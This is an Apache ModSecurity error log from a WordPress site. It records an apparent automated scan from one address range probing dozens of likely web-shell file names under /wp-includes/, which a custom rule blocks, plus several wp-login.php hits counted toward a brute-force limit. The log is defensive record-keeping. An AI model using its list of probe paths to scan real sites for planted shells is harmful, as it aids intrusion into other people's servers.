[Wed Apr 22 06:56:49.973644 2026] [:error] [pid 31844:tid 31848] [client 45.137.126.50:52455] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aegAsWtAU9CprTB4b3IwTgAAAoI"]
[Wed Apr 22 06:57:02.174421 2026] [:error] [pid 31949:tid 31966] [client 45.137.126.34:28277] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aegAvn2WtGZh5JfbMUc9MgAAAw4"]
[Wed Apr 22 06:57:05.471000 2026] [:error] [pid 31949:tid 31953] [client 45.137.126.5:55661] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aegAwX2WtGZh5JfbMUc9OAAAAwE"]
[Wed Apr 22 06:57:10.430555 2026] [:error] [pid 23041:tid 23068] [client 45.137.126.37:40369] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "aegAxkTXx_lUa7xwAb7d6wAAARg"]
[Wed Apr 22 06:57:13.698303 2026] [:error] [pid 23041:tid 23061] [client 45.137.126.4:64063] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "aegAyUTXx_lUa7xwAb7d_QAAARE"]
[Wed Apr 22 06:57:22.423210 2026] [:error] [pid 32095:tid 32106] [client 45.137.126.10:51509] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aegA0tfu5Cv628YPe591-wAAA4g"]
[Wed Apr 22 06:57:25.810611 2026] [:error] [pid 21683:tid 21754] [client 45.137.126.26:35719] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aegA1VZBWT-0diZyYyaWkAAAAIQ"]
[Wed Apr 22 06:57:29.198653 2026] [:error] [pid 31949:tid 31966] [client 45.137.126.46:27251] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "aegA2X2WtGZh5JfbMUc9UgAAAw4"]
[Wed Apr 22 06:57:30.180522 2026] [:error] [pid 21683:tid 21764] [client 45.137.126.17:61579] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aegA2lZBWT-0diZyYyaWkgAAAI4"]
[Wed Apr 22 06:57:31.239740 2026] [:error] [pid 21683:tid 21757] [client 45.137.126.45:50259] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "aegA21ZBWT-0diZyYyaWlgAAAIc"]
[Wed Apr 22 06:57:37.941952 2026] [:error] [pid 31844:tid 31861] [client 45.137.126.20:55793] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "aegA4WtAU9CprTB4b3IwXQAAAo8"]
[Wed Apr 22 06:57:38.926967 2026] [:error] [pid 31949:tid 31960] [client 45.137.126.10:29047] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "aegA4n2WtGZh5JfbMUc9VwAAAwg"]
[Wed Apr 22 06:57:39.912040 2026] [:error] [pid 31755:tid 31763] [client 45.137.126.28:33449] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aegA4wz2mYMkg3X8q1tiYQAAAgA"]
[Wed Apr 22 06:57:56.444070 2026] [:error] [pid 31756:tid 31813] [client 45.137.126.47:33679] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "aegA9N_WbkXbHaEfhd3ZEgAAAlU"]
[Wed Apr 22 06:58:02.715124 2026] [:error] [pid 21682:tid 21744] [client 45.137.126.26:50901] [client 45.137.126.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aegA-plXWQZUlmPHS3oEFgAAAFU"]
[Wed Apr 22 06:58:21.820939 2026] [:error] [pid 21682:tid 21747] [client 45.137.126.26:50901] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aegBDZlXWQZUlmPHS3oELwAAAFg"]
[Wed Apr 22 06:58:26.802137 2026] [:error] [pid 32095:tid 32112] [client 45.137.126.35:22561] [client 45.137.126.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.35, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aegBEtfu5Cv628YPe592GAAAA44"]
[Wed Apr 22 06:58:30.209040 2026] [:error] [pid 32095:tid 32099] [client 45.137.126.35:22561] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "aegBFtfu5Cv628YPe592GgAAA4I"]
[Wed Apr 22 06:58:46.066093 2026] [:error] [pid 31706:tid 31729] [client 45.137.126.11:45915] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aegBJrGSe9Rnd4Q_z1ifQQAAAdQ"]
[Wed Apr 22 06:59:01.484421 2026] [:error] [pid 21682:tid 21740] [client 45.137.126.33:32231] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aegBNZlXWQZUlmPHS3oEXQAAAFE"]
[Wed Apr 22 06:59:06.503783 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.44:32039] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aegBOkTXx_lUa7xwAb7eywAAARI"]
[Wed Apr 22 06:59:13.329106 2026] [:error] [pid 31755:tid 31769] [client 45.137.126.16:57663] [client 45.137.126.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "aegBQQz2mYMkg3X8q1tixQAAAgY"]
[Wed Apr 22 06:59:14.939744 2026] [:error] [pid 31755:tid 31781] [client 45.137.126.16:57663] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aegBQgz2mYMkg3X8q1tixgAAAhI"]
[Wed Apr 22 06:59:45.255253 2026] [:error] [pid 31755:tid 31766] [client 45.137.126.15:44373] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aegBYQz2mYMkg3X8q1tjDwAAAgM"]
[Wed Apr 22 06:59:51.732077 2026] [:error] [pid 31756:tid 31816] [client 45.137.126.41:49797] [client 45.137.126.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.41, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aegBZ9_WbkXbHaEfhd3ZagAAAlg"]
[Wed Apr 22 06:59:58.093164 2026] [:error] [pid 31756:tid 31813] [client 45.137.126.41:49797] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "aegBbt_WbkXbHaEfhd3ZeQAAAlU"]
[Wed Apr 22 07:00:01.376557 2026] [:error] [pid 31755:tid 31776] [client 45.137.126.43:35985] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "aegBcQz2mYMkg3X8q1tjIAAAAg0"]
[Wed Apr 22 07:00:06.072566 2026] [:error] [pid 31756:tid 31798] [client 45.137.126.38:58815] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "aegBdt_WbkXbHaEfhd3ZgwAAAkY"]
[Wed Apr 22 07:00:12.271654 2026] [:error] [pid 32095:tid 32112] [client 45.137.126.46:38225] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "aegBfNfu5Cv628YPe592RwAAA44"]
[Wed Apr 22 07:00:13.253406 2026] [:error] [pid 21683:tid 21767] [client 45.137.126.9:59239] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "aegBfVZBWT-0diZyYyaXOgAAAJE"]
[Wed Apr 22 07:00:22.719254 2026] [:error] [pid 31706:tid 31709] [client 45.137.126.44:56525] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aegBhrGSe9Rnd4Q_z1ifaQAAAcA"]
[Wed Apr 22 07:00:26.058920 2026] [:error] [pid 23041:tid 23056] [client 45.137.126.28:31277] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "aegBikTXx_lUa7xwAb7fYwAAAQw"]
[Wed Apr 22 07:00:32.095424 2026] [:error] [pid 31706:tid 31724] [client 45.137.126.23:25261] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "aegBkLGSe9Rnd4Q_z1ifbwAAAc8"]
[Wed Apr 22 07:00:38.443481 2026] [:error] [pid 31755:tid 31773] [client 45.137.126.44:52277] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aegBlgz2mYMkg3X8q1tjQwAAAgo"]
[Wed Apr 22 07:00:43.369574 2026] [:error] [pid 21682:tid 21736] [client 45.137.126.5:40087] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "aegBm5lXWQZUlmPHS3oEzgAAAE0"]
[Wed Apr 22 07:00:49.847160 2026] [:error] [pid 23041:tid 23065] [client 45.137.126.7:23603] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aegBoUTXx_lUa7xwAb7fpwAAARU"]
[Wed Apr 22 07:01:04.907049 2026] [:error] [pid 31949:tid 31973] [client 45.137.126.17:33453] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aegBsH2WtGZh5JfbMUc9zgAAAxU"]
[Wed Apr 22 07:01:05.895462 2026] [:error] [pid 21682:tid 21729] [client 45.137.126.3:59427] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "aegBsZlXWQZUlmPHS3oE3gAAAEY"]
[Wed Apr 22 07:01:06.875632 2026] [:error] [pid 23041:tid 23055] [client 45.137.126.28:37097] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aegBskTXx_lUa7xwAb7fzgAAAQs"]
[Wed Apr 22 07:01:07.861169 2026] [:error] [pid 31756:tid 31807] [client 45.137.126.47:49237] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aegBs9_WbkXbHaEfhd3ZvwAAAk8"]
[Wed Apr 22 07:01:11.079544 2026] [:error] [pid 21682:tid 21747] [client 45.137.126.22:29285] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aegBt5lXWQZUlmPHS3oE4AAAAFg"]
[Wed Apr 22 07:01:12.066454 2026] [:error] [pid 31706:tid 31715] [client 45.137.126.22:56507] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "aegBuLGSe9Rnd4Q_z1ifhAAAAcY"]
[Wed Apr 22 07:01:17.180941 2026] [:error] [pid 31755:tid 31781] [client 45.137.126.11:23565] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "aegBvQz2mYMkg3X8q1tjbQAAAhI"]
[Wed Apr 22 07:01:18.163152 2026] [:error] [pid 21682:tid 21731] [client 45.137.126.30:22951] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "aegBvplXWQZUlmPHS3oE4gAAAEg"]
[Wed Apr 22 07:01:19.147201 2026] [:error] [pid 23041:tid 23046] [client 45.137.126.13:26673] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aegBv0TXx_lUa7xwAb7f5gAAAQI"]
[Wed Apr 22 07:01:20.131596 2026] [:error] [pid 31755:tid 31763] [client 45.137.126.21:58569] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "aegBwAz2mYMkg3X8q1tjoQAAAgA"]
[Wed Apr 22 07:01:23.365978 2026] [:error] [pid 31755:tid 31772] [client 45.137.126.49:61581] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aegBwwz2mYMkg3X8q1tj4QAAAgk"]
[Wed Apr 22 07:01:28.195169 2026] [:error] [pid 23041:tid 23063] [client 45.137.126.49:20767] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "aegByETXx_lUa7xwAb7gDAAAARM"]
[Wed Apr 22 07:01:36.013440 2026] [:error] [pid 32095:tid 32120] [client 45.137.126.50:64693] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aegB0Nfu5Cv628YPe592kQAAA5Y"]
[Wed Apr 22 07:01:49.023637 2026] [:error] [pid 31706:tid 31717] [client 45.137.126.47:48639] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "aegB3bGSe9Rnd4Q_z1ifngAAAcg"]
[Wed Apr 22 07:01:55.267786 2026] [:error] [pid 23041:tid 23056] [client 45.137.126.36:39609] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aegB40TXx_lUa7xwAb7gPAAAAQw"]
[Wed Apr 22 07:01:56.262297 2026] [:error] [pid 23041:tid 23051] [client 45.137.126.40:42699] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aegB5ETXx_lUa7xwAb7gPwAAAQc"]
